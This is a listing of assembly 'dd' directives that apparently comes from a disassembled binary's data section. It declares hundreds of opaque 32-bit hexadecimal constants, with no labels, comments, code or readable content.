		dd 0DE6BC4A3h, 0CB4ABC54h, 0E95E43D8h, 0AF8B23DBh, 94944E6Bh
		dd 8E9231F6h, 20C38032h, 57F4E1F3h, 1209ECE0h, 0A4A934E9h
		dd 42168C59h, 0C0AA4AA2h, 47A7EBA3h, 79231B3Bh,	86FAE101h
		dd 5BD80127h, 0C189FA7Ch, 80F1295Dh, 7B67F569h,	9DFEEA3Fh
		dd 55D21EA0h, 0B55E5Ah,	4C43A566h, 92D8950Bh, 0DBC97AE6h
		dd 429FF6FAh, 4F231CA2h, 4127DA5Dh, 72066002h, 38249119h
		dd 0B1525916h, 0FC78C040h, 314D2F3Bh, 6FB0215Fh, 29C1EBE6h
		dd 5BC0F22Eh, 8FD24BFAh
		dd 0B4DCCCDDh, 37508365h, 41C406A8h, 6B0F630Bh,	147E0B31h
		dd 87021D3Fh, 7E1668D5h, 0D0879B5Dh, 12E33688h,	204283E9h
		dd 56AF42Ch, 0C9813001h, 4FBA5609h, 0CB25CC81h,	0D2893EC3h
		dd 7BC7BEE1h, 0F5837495h, 0F7970237h, 20574E22h, 0B4C04AD0h
		dd 4CF1787Bh, 6B69904Fh, 4E56D2CCh, 27C1E708h, 0C5C591FFh
		dd 0F0489862h, 0E985A44Ch, 8866F04Ch, 7D2AF077h, 140BBD6Bh
		dd 0FD43BA4Dh, 6E3E96C1h, 0C0FEA813h, 410A2DFEh, 19DF08C0h
		dd 0B7AA1FE9h, 257F5EEAh, 0C2BA290Fh, 0DB77D360h, 39933D13h
		dd 0CAC945A8h, 0FAA74759h, 80E6D347h, 0BEC7B500h, 14D9408h
		dd 85AD0CFh, 30EB995Fh,	895BA1DDh, 8DE6E825h, 274C610h
		dd 0FB536DBDh, 44E97F1Dh, 5947CDDh, 0D764BFBEh,	65BD80EEh
		dd 4EE68D7Eh, 62220EC3h, 0AA80CD42h, 4C6C02CAh,	32104B6Eh
		dd 0CC292FA6h, 0CDF395E3h, 0CA9192BBh, 0CE10D991h, 3AF8AF04h
		dd 3254F202h, 0AAD607C6h, 20C3FC0Ch, 0B9D0BFACh, 4BFC34D4h
		dd 7DEB29A4h, 0BAD750C0h, 0DD8A5ACEh, 0BFFD55B7h, 0BA4AACCBh
		dd 0B86AFF6Dh, 0DBC0B5C5h, 4C2035AAh, 0E38500Ch, 0A47EE831h
		dd 8FDD2A21h, 845FFC2Bh, 40C0C331h, 0C4705FE9h,	0C2EE88D4h
		dd 0D8D4E2C1h, 37E15DE9h, 81C52F7Dh, 0A4D4E3BFh, 40CCE7E0h
		dd 0DEC5405h, 0BB070B9Ah, 41517CC6h, 0A9BEF6A2h, 8D80F7A2h
		dd 0BDA50C8Ch, 0A0C68924h, 80910727h, 0AE857767h, 9558FFE0h
		dd 8EA9FB10h, 0C1AF43D2h, 2B3CCF19h, 41B8398Ch,	456871Eh
		dd 80A42EC5h, 0E5ECF3D4h, 1F5E21A2h, 13E8C170h,	8C83112h
		dd 0AAA06EFDh, 320B79B1h, 66024A78h, 9BC4354Dh,	3E67A1A1h
		dd 0EC4AFDCFh, 8ED2F534h, 130D750h, 4964A18h, 0B78B4550h
		dd 0E6F5C46Ch, 2D5859C8h, 826D9E0Eh, 5280BE30h,	1F052FB6h
		dd 14252702h, 7207F7Eh,	801144F9h, 7D644A94h, 53492602h
		dd 0D99D87E9h, 2F2388F3h, 24375E25h, 0E4FD03A0h, 52F318EFh
		dd 0FC017F50h, 34EC214Eh, 6D50F3F7h, 90CBD303h,	0DA7B065Eh
		dd 860BC83Fh, 0D1F637C8h, 72F1B308h, 24B92C03h,	0D13C1316h
		dd 0A32397B0h, 572812A5h, 1FD9ABCEh, 95D469F4h,	787620DFh
		dd 9070A423h, 7F609F50h, 385DC5E9h, 12C90702h, 0F4A46C58h
		dd 2BE28F0h, 387A4367h,	0FB61F109h, 0B6FF047Eh,	5E531314h
		dd 7AB34380h, 0CC19417Bh, 0C6A14F45h, 863130F3h, 496C4082h
		dd 0FB48D2BEh, 0A3682A20h, 7AB5C40Bh, 0D1FE127Fh, 32AD78EFh
		dd 18B46243h, 79BF0052h, 244A320Bh, 0D6715FAEh,	0BD2440D9h
		dd 1435817h, 0EC28102h,	5F1E3A6Eh, 881CCF0h, 5E16685Dh
		dd 7B17ADEDh, 4B77EDA1h, 0B3813EA9h, 7B5B2505h,	9EA2E210h
		dd 562FE984h, 849A0013h, 9609113h, 6A5FFA30h, 5EDD3B90h
		dd 1BCC57Bh, 0E441DAA9h, 99A6063h, 4D912102h, 0A26AF968h
		dd 5E122081h, 0F3C06B5Dh, 4574D1BDh, 0F194F0BDh, 7DDC3F70h
		dd 0A4555A78h, 5B16A512h, 7D57ACE9h, 1624CEABh,	91BAE6E0h
		dd 2E4D79Fh, 66E40F87h,	0EB209247h, 0E521EBE1h,	82BCD759h
		dd 807C440Eh, 4EAC0516h, 0B70BAEB4h, 0EA447F1Dh, 7260B33Dh
		dd 20EF8B4Eh, 6EA06855h, 2D7766B7h, 9FB4CB1h, 6E685D40h
		dd 62629648h, 0F620E4AEh, 4E94708Eh, 7918F948h,	5D2C6F79h
		dd 0C305B14Bh, 0BE804011h, 280C8BE6h, 48B445B7h, 5A81AA09h
		dd 3BFDBDD4h, 51401700h, 16058868h, 0F0590733h,	524E5303h
		dd 0E81438E0h, 0B8894A6Eh, 41AB890Ah, 356E5A47h, 7DA0BBE8h
		dd 83634AE9h, 1E8BBE3Fh, 57E045F2h, 7E261360h, 2D122EF4h
		dd 23B16CBCh, 495A0122h, 1985B298h, 0A8AC6CE6h,	51685202h
		dd 0FC37760Bh, 0E0212CBh, 58F73BB6h, 64AF66BFh,	5DC60483h
		dd 0FC9722BAh, 0E892E8Ah, 0ADE15A17h, 4F03F6FCh, 58A8EAh
		dd 7BFB417Fh, 352FE581h, 0BE621362h, 98303387h,	58A18D63h
		dd 0C050CE21h, 6855806Fh, 2811FE0Bh, 0B1F5050h,	0EF4C3CD4h
		dd 0D1731AF0h, 78BE5600h, 9258B58h, 0C15E14F2h,	0E926B5E2h
		dd 9F32AC9h, 0A1478A2h,	0CD0484D4h, 93C14909h, 5F29B53Eh
		dd 51131E7Fh, 0F855CC1Ch, 42E90180h, 60CA4381h,	0A5536F55h
		dd 555A5A66h, 6ECF2DFEh, 0FEE6BDC2h, 9AC38BBCh,	1113102h
		dd 0DA4E2DDh, 4C7E0C08h, 0D9B85E26h, 8AC0617h, 80596B5h
		dd 3D0696E8h, 0C0DA545h, 162C897h, 4EEEB8CFh, 0C935BDDBh
		dd 5B6D5F57h, 0A356E989h, 0B9505DE2h, 0C93EA3B7h, 82D036A4h
		dd 0DA6BBBE9h, 942C9083h, 0BF2A653Bh, 37E9BE80h, 0C8E6B794h
		dd 6C61574Fh, 87058593h, 8C12631h, 4D9EBDF6h, 0E9CFC121h
		dd 0CBC611CAh, 763842E8h, 4CE30577h, 0BC75AF73h, 70F30206h
		dd 0D75FAB44h, 0E54AA105h, 2047B9F0h, 0FF435B45h, 0DA42D109h
		dd 1E39F3CCh, 0A5DCAB4Bh, 109B2AE9h, 1707B148h,	5E378072h
		dd 0A509BA52h, 8018B928h, 0DBA8B2EBh, 4E1FB220h, 0E92F4201h
		dd 0A9C85388h, 0D4006C3Eh, 0F1815916h, 0C6FF69CEh, 9005E19Ah
		dd 0D6B53207h, 75EB89B2h, 0E8680F10h, 2BD374Bh,	0D16E8E8Fh
		dd 0E67501A9h, 1207AA53h, 828B7711h, 0DB3B5006h, 0C4C26AF6h
		dd 9A324B68h, 0E4DC40E9h, 2EFB282Bh, 51C602ADh,	12E92032h
		dd 6D978F70h, 878F2B10h, 63466C11h, 0B0D15BDh, 76F9A2E9h
		dd 0DF1CC141h, 83ABF00h, 0BA243B0Dh, 0D4FD0B3Eh, 3D5A8528h
		dd 26786FA9h, 6FB927E9h, 0D778FF56h, 0A5098A12h, 0D7613CFDh
		dd 64BEEC6Fh, 4FE85B1Ch, 7D46F3A7h, 0DEED852Fh,	0FF5E929Ah
		dd 2B45865Eh, 17FA153Ah, 0FFDB122Bh, 9D2B149Dh,	0AF77EF3h
		dd 0AD8D5CBh, 6965EBEAh, 0A2EE590Ah, 0D2E9C583h, 2D0081ACh
		dd 44B63837h, 11F8C789h, 0B32D715Fh, 12EAA63Ah,	0F00959CFh
		dd 0CB867967h, 7042FE7Ch, 81EEF66Bh, 6E7D9D21h,	0E1956B05h
		dd 5E1308E0h, 0BD09B8D0h, 3F203309h, 8C624ADFh,	7C030897h
		dd 0BE93B46h, 0FE564AB2h, 0EA27E68Bh, 0E90519D3h, 0D9206671h
		dd 35CC1EB7h, 0BFB85E3Ah, 5158EA45h, 0D4B3B1EEh, 174F8913h
		dd 2E100065h, 0CE5E7F0Dh, 0F55D1332h, 0F9BDA2DAh, 474262C0h
		dd 9D189455h, 5578FA7Eh, 8F9C29E9h, 9EE01CFh, 3029185Fh
		dd 0C06E7013h, 2B86CBFFh, 8333500Dh, 7E9950DFh,	8FC89F77h
		dd 0EF1770F9h, 0B5812162h, 68008C03h, 0A5C535EDh, 0E75ECD06h
		dd 888F039Dh, 836A6512h, 3EA1E6ABh, 0DDF61A57h,	5516D579h
		dd 68191784h, 8C650765h, 5DC220F6h, 0E4259BF4h,	0F7D46189h
		dd 0FEF6126Fh, 4CFD602Dh, 681E702Ch, 0C9D6A5E0h, 819AC56Fh
		dd 0F680942h, 0B05BCC65h, 80619D0Ah, 6909CACDh,	918ECCAEh
		dd 8C321468h, 7E553945h, 5D47402Ah, 54623B65h, 75FF9C8Eh
		dd 57938479h, 3488A601h, 0E5033E7Dh, 0C08C75F3h, 975E5055h
		dd 0E6D7E58h, 0CCBC6DC9h, 1AA10E4Bh, 322B995Ah,	8BBF9741h
		dd 5B5BDF56h, 3CDC025Ah, 0DE8622B8h, 0B90B7C99h, 0E5995h
		dd 21ACF124h, 0C5160DAh, 0E85C752Eh, 595FBAB0h,	2D275DF8h
		dd 0E1AFD6D6h, 0E741E02h, 0F222F988h, 0D5E32DDCh, 702CD881h
		dd 795BBB1Fh, 0A4E728AFh, 0BBF6740h, 5C170EA8h,	5B8053E2h
		dd 76783ACFh, 0D904577Fh, 31200A16h, 0E1F607ABh, 3D4DE286h
		dd 0E7D186C9h, 0CAA60DFh, 0D9B4380Bh, 0B827E90Fh, 0EEA6B260h
		dd 0B45B96CEh, 0EBEF83B5h, 0EEC1120Fh, 0F4A50608h, 2427110h
		dd 5A6FCA81h, 39404A5Ch, 70F6BABh, 745F52C8h, 18DB16CCh
		dd 8EEB9180h, 23672D48h, 880797Ah, 0DA2DE952h, 8813598Fh
		dd 7C2FFE18h, 0A7E9AD0Fh
		dd 7C310238h, 0E22D82E9h, 71C1B8EDh, 0EB616A59h, 647E0F76h
		dd 64CEFBFAh, 0E5570125h, 0C55DA545h, 0D02101DBh, 0B4897EE9h
		dd 0E2EA229Fh, 0E933D860h, 5AB4D48h, 0B446F3Ch,	1AD87045h
		dd 6112D0Dh, 80560EAh, 0C8B2BF5Ah, 0D876D627h, 63EACA83h
		dd 0F2608F32h, 166B92F0h, 0EAD0291Ah, 0A244DC8Dh, 4BF77A0h
		dd 3ACE4621h, 4056C04Fh, 632D1729h, 9E035531h, 5B24ABFh
		dd 0DE255B74h, 0EBD1041Ch, 7CC8055h, 5B403313h,	0BB695AA9h
		dd 11010B70h, 417042C8h, 5716C08h, 6AED4D53h, 0B2B18980h
		dd 29953412h, 5CAAB6Ah,	5934AA5Eh, 38E9A4C0h, 4F3EB9D8h
		dd 0F8433B65h, 6A40819Ah, 0CA7173DFh, 0BEAC002Eh, 56230D18h
		dd 5B2EC097h, 5D069F7h,	0ED87825Fh, 30EB5F19h, 0A8CC2560h
		dd 90116669h, 2668E94Bh, 48C85930h, 4C27B0CFh, 0C23B8089h
		dd 53840B4h, 0E9DA296Ah, 6632A07Ch, 7094BA17h, 2B1099AEh
		dd 68F13F87h, 0FC3A226Ah, 0E2EEA7B9h, 0F54619EAh, 17BF4A06h
		dd 0A808C1B6h, 95813CAh, 0A0A02AB5h, 93F78B9h, 2D294F2Eh
		dd 0B10BF120h, 40455B7Dh, 1EBA5240h, 0A7C52D55h, 0E63A827Fh
		dd 2D03E409h, 1B46466Eh, 776C920h, 9A5B8C05h, 34805E01h
		dd 946809A8h, 638C0B4Ah, 9D22BA8Fh, 0B00C394Dh,	58F717A2h
		dd 76258D30h, 0F8FC2AF0h, 1DA5775Dh, 0A7D2A842h, 6B0FB1AEh
		dd 0C0EED3C2h, 276BCCDBh, 9BDE4F32h, 0E1DD4EC4h, 3C6BC93Dh
		dd 21750B9Ah, 5E57565Ch, 5154A24h, 0E937B571h, 0EBDB1384h
		dd 0F64E488Eh, 0BD550166h, 33DC1108h, 9CECC52Eh, 3FEBFE32h
		dd 1FE9F2C5h, 0F63C529Eh, 0D0B92C7h, 88945123h,	80277845h
		dd 36384E6Eh, 0F89013h,	3505DD65h, 12E9D509h, 0F8B555B2h
		dd 4C15F05Bh, 1F812CB7h, 804E4718h, 0BC7687CEh,	0D0D90144h
		dd 8358081Ch, 25374A1Ch, 687E30FFh, 0E07B544Dh,	8B845A6Dh
		dd 0C4013B7Eh, 0F7644052h, 848AD14Bh, 0BD6D37Bh, 37C03E36h
		dd 0A3EED888h, 0EBFE6054h, 5F5F3358h, 70497F1h,	4EAFABB0h
		dd 0BBD3902Ch, 0B0B86F7Ah, 19A9AE27h, 0A581D74Ah, 552F1335h
		dd 0CBA06A53h, 0E1717059h, 0D695E36Ah, 18D8F4ACh, 450573ECh
		dd 0B04DE96Eh, 0BE5A640h, 983BA11Fh, 0FB920535h, 0E90127C7h
		dd 0F2E98B7Ah, 0AA5F4F38h, 5DCE550Fh, 0D2F03D52h, 0D4E709BEh
		dd 0CBFC01C9h, 202D071Dh, 98491214h, 30509908h,	424A4D98h
		dd 0FB0114Bh, 0FEC71F2Dh, 1558EF55h, 0A1670530h, 7C520EF3h
		dd 0A7F89D69h, 2E1A2F09h, 314A5551h, 14F72485h,	25250E0Ch
		dd 0A46010D4h, 0FA6B9420h, 0E1847046h, 0A0D9A86Fh, 9D405E68h
		dd 0C9332046h, 0E7BB84F7h, 7E4FB0F2h, 82C381EFh, 6B0F8A69h
		dd 55E9E3D0h, 0B00860DAh, 0E65C7EF0h, 0E9433097h, 0AE985FABh
		dd 4802BD72h, 1812BB14h, 5077B368h, 96251CE8h, 46415D50h
		dd 0B600F222h, 0B8F788D4h, 59EF00AEh, 0B450D7F6h, 0C4008085h
		dd 0AB753A6h, 9FB817E9h, 0F7DABB56h, 4995A080h,	5FB00C1Fh
		dd 1745F601h, 0A985E92Ch, 68D9332Fh, 0A6597EE2h, 2943F083h
		dd 3AC056Eh, 0EE5ED56Ah, 586D62E4h, 67FC32Ah, 7B196CE3h
		dd 0A9012A05h, 0E9F673D3h, 0A367735h, 4F399A10h, 254D08C0h
		dd 4A637C8Eh, 2DC4801Eh, 14730813h, 9D01F4h, 8EA33528h
		dd 2F577A03h, 0ACA26582h, 44FDC5EFh, 619BFCA4h,	0EE2910C4h
		dd 56562087h, 16346C8h,	22ABABDh, 5DE23F7Ah, 93262D7Fh
		dd 3784D7Ah, 10908037h,	0E0582E0Fh, 0B2528BE1h,	0D2F63FBAh
		dd 307AC282h, 81C05AD1h, 0FC977941h, 0EACF9733h, 0B161EE89h
		dd 2CBEF9h, 339AC098h, 0F055C495h, 414B41D3h, 46D651Ch
		dd 0FD1E0EFh, 28567B19h, 0EA2A5BADh, 0ABB3AB41h, 0E2E7C330h
		dd 9274F12Ah, 0AA418515h, 0A1FD222Dh, 843A4D25h, 5E9DAB83h
		dd 5A56A330h, 0D2FBB22Eh, 4E8AE3h, 0AEBE5642h, 2F167626h
		dd 0C9AACBE9h, 0EFBC019Bh, 1447FBCh, 0F7A928E5h, 0B7BA0ED3h
		dd 9167EF17h, 7EA962B5h, 13AFE03Bh, 0C87E4142h,	0F85C5A56h
		dd 4351A93Ch, 0E72E6607h, 0FFD76BC4h, 0FF81FBEAh, 0C2075DFBh
		dd 37588B76h, 0D954B7A5h, 80C28B50h, 7BBCE5C1h,	2C62D802h
		dd 3E8551Eh, 0C4313796h, 0E1CA0C7Bh, 747879F9h,	5F4DBC5Bh
		dd 0FAF5B6E8h, 60FC7D31h, 5EC98C4Eh, 0FF26F051h, 1756707h
		dd 923E5FEEh, 0FDA56532h, 5CD9F238h, 8DF42BCEh,	0A68F4AF5h
		dd 545527E2h, 0C2DDC527h, 85F6E876h, 0A21B9470h, 90FC86EFh
		dd 0DD58BD0Dh, 808EC258h, 0A34C9DEAh, 7CD5FF0Bh, 0B414B83Fh
		dd 65E4CAB0h, 0FBC33796h, 685FE5D0h, 971270BAh,	0F0D934F6h
		dd 80FA026Fh, 1AF7DEC7h, 0D6895FDEh, 0FE60D27Eh, 2CF780C7h
		dd 0CE2450B7h, 23F888E7h, 0F4AA58C6h, 39447441h, 12E44A7Fh
		dd 21C7CADAh, 17BE20EDh, 844083h, 24B8C569h, 4D484B03h
		dd 6E480014h, 25E9615Ch, 0DDFEB7FCh, 448CA742h,	205A9AEBh
		dd 0C3A25FFCh, 0C324B2DCh, 5002E600h, 246818EDh, 96FB6994h
		dd 0E284A8E3h, 0DD09558Ch, 4F5D1677h, 51C6014Ch, 0E45278B5h
		dd 0C69FFCB3h, 746D2EB9h, 0AEF93FCh, 0B81377Ah,	0A9F10CD5h
		dd 0AC090913h, 0F76CA26Eh, 0C5F280D2h, 0B0E448BCh, 1B944C95h
		dd 2152EED3h, 0C7B14F04h, 296BAF8Bh, 0B25282F5h, 0DCC3E8ACh
		dd 0EC801E5Bh, 79459FAAh, 0AE72C44Fh, 0E3D753E7h, 0CEB348E0h
		dd 0CEEB376Ah, 2D710142h, 0CFE90CC4h, 58353E2Ch, 877A834Dh
		dd 5F250BADh, 0DBF25287h, 4C40986Ah, 44F46C63h,	52D50CC0h
		dd 98591330h, 29024E53h, 0C5EC3ED5h, 88FE24DDh,	68075EFEh
		dd 523305C2h, 348A058h,	144B7Eh, 0E9DF013Dh, 199E60BAh
		dd 0F64BB5C8h, 0B3F45A42h, 2888C8CFh, 5E6F71B0h, 5B5EC79h
		dd 40BD7DCCh, 2E68AF2Ch, 0C01F347Eh, 256D5423h,	30BDD9F0h
		dd 806E5A20h, 0FC002D5Eh, 350BDD30h, 4A6C58EFh,	9ABAC1Dh
		dd 2956E948h, 1B797752h, 508F5415h, 0F541F94Bh,	0CBF4160h
		dd 435EDA60h, 82EE0EA8h, 9AEF895h, 54D36211h, 0A5C11D61h
		dd 4A4E5D11h, 9AFC77FAh, 0F9014616h, 2767C915h,	0C52BD35Bh
		dd 0A070AE8Bh, 0B78464E9h, 42C03798h, 4D357925h, 0F8E985C7h
		dd 0B7A4BFFBh, 1208BCDEh, 86D70E4Ah, 1174EF17h,	0E9A048A8h
		dd 0DDA4167Ch, 5207860Bh, 815E5A7Bh, 1EA75908h,	2275132Bh
		dd 575DD19Dh, 5F7248DEh, 0C2807E1Ch, 5EB7FDFBh,	94D55AA5h
		dd 0A6E91383h, 962DA8A5h, 2CEA9212h, 2660514Bh,	6674ED17h
		dd 295313AAh, 4E0F8F5h,	438D7C50h, 5C819BA0h, 0A91897F2h
		dd 15CA0C14h, 13738E48h, 57A95AD5h, 17832684h, 54D3DAC2h
		dd 0DAF7097Dh, 62164F90h, 0C3F9F30h, 4ADE097Ch,	3FD9A13Bh
		dd 67CBB2E2h, 0DADDC0AAh, 7E1D6C5Ch, 16846884h,	4EE9E788h
		dd 29240522h, 0FFDB84FEh, 60AB2ED4h, 1C7721ADh,	1230C1B0h
		dd 0EBABCF3h, 766A252Ah, 33B69EFEh, 0ECB24A8Eh,	0D587E0C5h
		dd 0EAE825E9h, 153B8045h, 10CF8702h, 8448B256h,	0C1F9819h
		dd 6CEC2B54h, 200EBDC3h, 0E58174F8h, 0EF5AE00Ah, 9A00D51Fh
		dd 0E909FC7Dh, 0DD0360FAh, 67B850D9h, 7AD4211Fh, 16E0CD52h
		dd 316170B7h, 0CC6C66F8h, 6F767A93h, 885E9552h,	0E050D9EAh
		dd 2207207Ah, 802F6A2h,	9563C8Bh, 7BA23254h, 6B77EA17h
		dd 0AD9FD948h, 1704B134h, 0FA4D596Fh, 4FCDEB15h, 6B312DEFh
		dd 4EB61FE0h, 22C88D02h, 0AA5E1554h, 14C82688h,	0BEFFDA2Fh
		dd 0BFFC087Fh, 1502B912h, 602937BAh, 9C501B40h,	579286F0h
		dd 0A5053C18h, 1E38CE7h
		dd 7391ECh, 67F24583h, 0EDD1D5F7h, 0F0DC9DA0h, 0D7FF2A2Fh
		dd 43379A83h, 6FD48358h, 8A8B64C3h, 1C50D9CCh, 80078C68h
		dd 35405860h, 0C4505F0Bh, 956286DCh, 772D5DA4h,	0E25E154Ah
		dd 97AEDE0Ah, 0AC5B218Ah, 2F2CF288h, 0D440CC58h, 0E6584BE6h
		dd 0C41C259Bh, 80FB5EA0h, 0A5F73582h, 0B7909726h, 3A145D01h
		dd 52D82925h, 1ADB16BAh, 1C2DF8ECh, 73DC8108h, 5764CA09h
		dd 1CF2E752h, 42235D01h, 0ED0EE955h, 0C06CB93Eh, 0A4D2AFDh
		dd 0C0B5FCE9h, 80DCF620h, 6CF63C4h, 246CA40Bh, 923A31EFh
		dd 0FFF00577h, 0D84D1F83h, 78D70946h, 900D1CFDh, 1BD54964h
		dd 0E37EE05Fh, 1E407D0Bh, 5D524A5Dh, 94A55A30h,	59986880h
		dd 0FD812076h, 0B816CB02h, 317F89F4h, 0FF5A9137h, 100C03B0h
		dd 0CD5858EEh, 0FB72278Eh, 249E2B31h, 6D731828h, 0B01D0ACFh
		dd 0C4935B2Ah, 51CF56BCh, 0F24E77E4h, 0E959812Ch, 0C42263C5h
		dd 0D92EFB07h, 0BD58B72Ch, 0C3F92F58h, 7BD88150h, 0E36EF9ABh
		dd 58B1900Fh, 0A62A18FCh, 0AC11EA95h, 4C9C0C80h, 5DE43916h
		dd 0CFE3E612h, 6BAE8C00h, 0B0568D3h, 3F656D79h,	660B9E23h
		dd 5A40E974h, 5BBA9853h, 8023EFA8h, 9CB685EAh, 0A439FF96h
		dd 0D2FBFFFEh, 21E95840h, 0AD7C9F8Ah, 7FF0ED81h, 0DE711BDAh
		dd 9BBB2780h, 8129EF10h, 4C13CDB0h, 95011207h, 61CE4A6Eh
		dd 830B47Fh, 6D223505h,	0E1803B71h, 5A873A15h, 24FE55Fh
		dd 6A5D5808h, 1F597F10h, 0B68BDECh, 0D86191Ah, 31624954h
		dd 97F341D0h, 44FCF3Eh,	12F1032Dh, 955B2ABh, 77F745E9h
		dd 20C5893h, 10114230h,	44E91602h, 8E9DEABAh, 9794FD2Bh
		dd 71500FEh, 0BE4E2070h, 0A010B501h, 5DEE3122h,	408CB320h
		dd 414AB149h, 40F00AB0h, 8CA0587Ah, 0D0647B88h,	46F08B2Ah
		dd 5C02BF54h, 0BA5F870Dh, 0CA665C26h, 8E870897h, 4B88B32Eh
		dd 55E0059h, 213328B1h,	2DF02914h, 830F7C07h, 434AF856h
		dd 1A466F4h, 964F5214h,	0F6C6E926h, 0FC2398DFh,	0EADCB7C7h
		dd 16CEF5C9h, 1C252A1h,	0B12FE7B8h, 73AAEB91h, 0C0AABA75h
		dd 247A3285h, 4234157h,	8135034Ah, 0E8ADF313h, 0E91A132Fh
		dd 7F3A9291h, 0F6B5477Ah, 795572A8h, 3CE9C15Bh,	0A87FB7ADh
		dd 2DBCEE84h, 0E31EB4Eh, 412FB2E1h, 747D9EF4h, 52C57AF5h
		dd 0F384B7B9h, 11B8019Ah, 0FC20F501h, 3DB660D7h, 0CD0E1EFh
		dd 0E3ECA14Ah, 0C0C4D84Dh, 5429AB65h, 39030D30h, 7C03142h
		dd 131F1398h, 5DAF49F9h, 40A18792h, 6EA419E9h, 259C3A7h
		dd 115F7401h, 46EE5E9h,	3E0CE5EAh, 3C8472ECh, 405E1458h
		dd 362FFBC4h, 0E64F63DEh, 0DD01240Dh, 0DBD71890h, 0CE1EA1F6h
		dd 3DCB486Ah, 0D3C6779Ch, 17A6564Dh, 8FFBC601h,	1783200Eh
		dd 0F896D4E9h, 3CF2D71Eh, 0DC5168C4h, 2E12ACA2h, 1C926F6Ah
		dd 569BCA5Ah, 409E027Ch, 436068BDh, 0BE2710DDh,	89B37C92h
		dd 0C7E7DBBFh, 82FD5C2Fh, 50515BFAh, 77E9F7C0h,	80128A55h
		dd 5E4A2B52h, 5DCBA5Bh,	0E9BCA2C1h, 80779036h, 29F018EBh
		dd 54FCC297h, 0E0576B27h, 4E281945h, 762044F9h,	65D9EFD7h
		dd 0EB683FE9h, 278BBF00h, 0E7811C7Bh, 256AC01Dh, 0D7CF02FBh
		dd 6011CC03h, 2D1BC336h, 6D7A616Fh, 831ABFEh, 6AFA4A53h
		dd 5265882Bh, 0FFC6804h, 0DE855E17h, 92888BAEh,	69F227E0h
		dd 0E0F73BF9h, 1683C232h, 0EA4C1011h, 27CD5204h, 4CD25C09h
		dd 5F4992F9h, 0AE5417FAh, 5C852D27h, 7BD8A6ABh,	0F656F62Dh
		dd 9467EFEDh, 1CDD0B89h, 0E1F74A46h, 0C8C67ED5h, 0C2086706h
		dd 0DFEB076Dh, 0AB35B864h, 5FFE8843h, 7072D24Eh, 0EDB90141h
		dd 814F8453h, 0D5FF3F1h, 0EC3F2BB1h, 85B8D70Dh,	0A69FA44Eh
		dd 12826D0Ch, 4BC6C59h,	1DBD64Bh, 0F71886CAh, 0E1FE4971h
		dd 0A23E29E2h, 2D989710h, 0CB9FF7F4h, 33845C4Dh, 31BF066Dh
		dd 0B84F5A6Ah, 0C2E04A46h, 25D09267h, 5DDEC781h, 0C1FA60AFh
		dd 0D7982DCCh, 7AF54EF8h, 7F3B36BCh, 7B6AA7DAh,	138D302Dh
		dd 8A23C151h, 4F88AE24h, 0D38EE226h, 76462744h,	0D5D82807h
		dd 17C4E615h, 0DCAA711Fh, 0A2B7DE0Eh, 77E8E973h, 0C6AA00Bh
		dd 26416142h, 0F508018Ch, 0D2ABB3DCh, 3BB2193Bh, 0F01F785Ch
		dd 9F2B17E9h, 7413AA29h, 384402B2h, 0CC355A4Ah,	0BF6DC4ABh
		dd 814E729Eh, 6C3EC9DCh, 7BC9D7B9h, 565EEE74h, 0BA25A392h
		dd 7EBD2570h, 0C4A6CFCCh, 20EDA53Bh, 51485569h,	93E55B17h
		dd 9FF20CADh, 54C0E097h, 83F5A4CBh, 5EA1DA65h, 0EED109A0h
		dd 0FE6BBD85h, 0C28332C3h, 0A3195501h, 592E9053h, 8071B100h
		dd 0B0507AF1h, 0C00C260Ch, 0C66605FEh, 0A1065E2Ah, 0EA6F304h
		dd 36E84067h, 164B0318h, 521FFDC6h, 0D42701B3h,	0C4006A7Ah
		dd 9C8AEC2h, 38384120h,	9AF5B66h, 34F5C6CBh, 62EE9F91h
		dd 0DDEB4793h, 72AC5616h, 685847C1h, 0A1897C9Ch, 0A2D584E2h
		dd 0C462E8E8h, 1B023EF6h, 50926ABDh, 4A919A2Ch,	7C52384Ah
		dd 17BE7964h, 393CEF1Bh, 0A30C4A20h, 75D75F7Dh,	34AA6C84h
		dd 68B3E485h, 79690527h, 41709317h, 556EBBDDh, 0F389606Fh
		dd 0AA2516F8h, 0BAEC6318h, 9742D0FBh, 68129234h, 2DAB105Ah
		dd 71840747h, 20699C43h, 651DEF2Dh, 0CE813589h,	42B353F1h
		dd 0FC68F52Bh, 9D1D2359h, 0FD4624h, 0EB164BE3h,	285EF529h
		dd 508AD501h, 4552C54h,	81209C71h, 0ADF0AAEBh, 0C13A5EE9h
		dd 3043B373h, 527B5B28h, 2E012C5Dh, 7EC0E0B9h, 9D66E25Dh
		dd 8202376h, 34FF595Ah,	8B33CCE9h, 5E5811C5h, 0EC4EF0F3h
		dd 0D567B11Ah, 9FAAB23Bh, 7F53B50Bh, 55AD8BC5h,	1095A116h
		dd 919B6854h, 83B1083Bh, 0EE47E25h, 0D204EA2Dh,	0C2CDBA55h
		dd 53CC0ECh, 33E90328h,	66A7EE76h, 0FE59CE12h, 0EDA432E3h
		dd 28E98E7Eh, 0B151071Ah, 4EE0821Ch, 0A5CDCD7Dh, 0A8B71E55h
		dd 0B7D1F726h, 0E9415879h, 408182B0h, 935C0B2Dh, 0F1346B05h
		dd 253CCBFBh, 98E172F3h, 5B33EAB5h, 0C4E4E258h,	0A2FE97B0h
		dd 0C3E31725h, 9760DE29h, 0E2CDC315h, 39CB5125h, 6A21CAB0h
		dd 257EFD3Ch, 0DD1F0BC6h, 0EB015C15h, 66804D5Eh, 0C3283478h
		dd 0F19A9F08h, 137DA0D5h, 106E6876h, 770731E9h,	30BFE44Fh
		dd 9E2EEA93h, 5D4C166Bh, 6FE98421h, 0C49B289Dh,	0C9BE5451h
		dd 0CFE63015h, 4A31729Dh, 5A30EF31h, 0BF6E87E9h, 0E7C271FEh
		dd 5810185Fh, 10B74AD0h, 0B5FAA91h, 7DA03309h, 3966766Bh
		dd 0B69BD30h, 0B759CD31h, 0E98987F1h, 0D6BDE9A0h, 0A288B86Bh
		dd 43B8D701h, 66BF5239h, 4BEE34F4h, 7395BAD5h, 0C1C58EBh
		dd 0A80F1E59h, 6268513Fh, 0D555DB42h, 0E61C9700h, 26C14146h
		dd 31D20D21h, 8404EE41h, 555ED832h, 0AED2E372h,	1BDA4EA3h
		dd 9D9464FFh, 25439EE1h, 4CB26FBFh, 9D94EAD2h, 72C771C1h
		dd 91E8413Bh, 6B0C82CFh, 97121FB8h, 96014462h, 0B60EA7Ah
		dd 23436D6h, 656BBD38h,	0B6A00AC3h, 559E83BAh, 0B72FE9E4h
		dd 0F1B95F92h, 4C496C73h, 2D113CE6h, 0F77509FEh, 3EAC6317h
